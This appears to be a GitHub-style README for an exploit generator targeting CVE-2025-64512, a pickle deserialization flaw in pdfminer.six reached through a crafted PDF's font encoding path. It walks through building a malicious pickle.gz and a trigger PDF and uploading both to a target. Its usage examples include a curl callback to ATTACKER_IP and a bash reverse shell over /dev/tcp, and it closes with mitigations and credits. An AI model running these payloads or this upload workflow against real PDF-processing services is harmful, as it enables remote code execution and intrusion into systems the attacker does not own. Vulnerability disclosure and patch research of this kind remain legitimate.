## https://sploitus.com/exploit?id=96E24ECA-9DED-575B-95C4-629FA9AD8346
# CVE-2025-64512 โ pdfminer.six Insecure Deserialization (Pickle) via Crafted PDF



> **โ ๏ธ Disclaimer:** This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.
---
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [How It Works](#how-it-works)
- [Requirements](#requirements)
- [Installation](#installation)
- [Usage](#usage)
- [Examples](#examples)
- [Mitigations](#mitigations)
- [Credits](#credits)
- [References](#references)
---
## Overview
**pdfminer.six** is a widely used Python library for extracting text and metadata from PDF files, commonly embedded in document-processing pipelines, CLI tools, and AI/data ingestion workflows. Affected versions load CMap (character-map) cache files for CJK font support using Python's `pickle` module, without validating that the resolved path stays within the expected cache directory.
A specially crafted PDF can reference an attacker-controlled path for this CMap lookup. If an attacker can also place a malicious `.pickle.gz` file at that resolved path (e.g. via a co-located file upload feature), processing the PDF triggers `pickle.loads()` on attacker-controlled data, resulting in **arbitrary code execution**. This exact mechanism โ including the PoC PDF structure โ was documented by mtolley in the official advisory.
This repository contains a small CLI wrapper around the official proof-of-concept published in the GitHub Security Advisory for CVE-2025-64512. **It does not introduce any new exploitation technique** โ the malicious PDF template is taken almost verbatim from the advisory itself; this script only parameterizes the target path, the command to execute, and the output filenames so the PoC is easier to reuse.
---
## Vulnerability Details
| Field | Value |
|-------------|---------------------------------------------------|
| CVE | CVE-2025-64512 |
| Affected | pdfminer.six โค 20250506 (also markitdown โค 0.1.3, pdfplumber โค 0.11.7) |
| Type | Insecure Deserialization (CWE-502) |
| Privileges | None (unauthenticated, if PDF processing is exposed) |
| Impact | Arbitrary code execution |
| Patch | pdfminer.six 20251107+ |
---
## How It Works
`CMapDB._load_data()` in pdfminer.six resolves a CMap name โ taken from a PDF font's `/Encoding` entry โ to a file path, and loads it with `pickle.loads()` if it ends in `.pickle.gz`. The function does not validate that the resolved path stays inside pdfminer's own `cmap/` directory.
### Attack Requirements
1. A **trigger PDF** whose font `/Encoding` references an attacker-chosen path (URL-encoded, `/` as `#2F`).
2. A **malicious `.pickle.gz`** file present at `.pickle.gz` on the target filesystem at the time the PDF is processed.
Both files can typically be delivered through the same upload channel that eventually gets processed by pdfminer.six (e.g. a document-ingestion pipeline), as long as the resulting on-disk paths are predictable or discoverable.
### Exploit Flow
```
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as .pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
```
---
## Requirements
- Python 3.8+ (standard library only โ `gzip`, `pickle`, `argparse`)
No third-party dependencies are needed to **generate** the payload. The **target** must have a vulnerable pdfminer.six (or a project depending on it) actually processing the uploaded PDF.
---
## Installation
```bash
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
```
---
## Usage
```
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
```
---
## Examples
### Basic usage
```bash
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
```
This produces:
- `payload.pickle.gz` โ upload this first, to `.../uploads/payload.pickle.gz`
- `trigger.pdf` โ upload this second; once the target processes it with pdfminer.six, the command runs
### Network callback (useful to confirm RCE without filesystem access)
```bash
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
```
### Reverse shell
```bash
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
```
---
## Mitigations
- **Update** pdfminer.six to 20251107 or later (or the patched release of any project bundling it, e.g. markitdown โฅ 0.1.4, pdfplumber โฅ 0.11.8).
- **Restrict/validate** any user-uploaded content that ends up processed by pdfminer.six or tools built on it.
- **Sandbox** PDF-processing pipelines (containers, seccomp, no outbound network) so that unpickling RCE has minimal blast radius.
- **Monitor** for unexpected child processes spawned by document-processing services.
---
## Credits
- **Vulnerability discovered & reported by:** [mtolley](https://github.com/mtolley)
- **Advisory published by:** pdfminer.six maintainers ([pietermarsman](https://github.com/pietermarsman))
- **Original PoC (malicious PDF template):** from the [official GitHub Security Advisory](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp)
- **CLI wrapper / parameterization:** Bardlaudian โ a thin convenience wrapper around the official PoC, no new technique
---
## References
- [Official GitHub Security Advisory โ GHSA-wf5f-4jwr-ppcp (source of the PoC used here)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp)
- [pdfminer.six repository](https://github.com/pdfminer/pdfminer.six)
- [luigigubello's polyglot variant (single-file PDF+pickle.gz trick, not used in this repo)](https://github.com/luigigubello/CVE-2025-64512-Polyglot-PoC)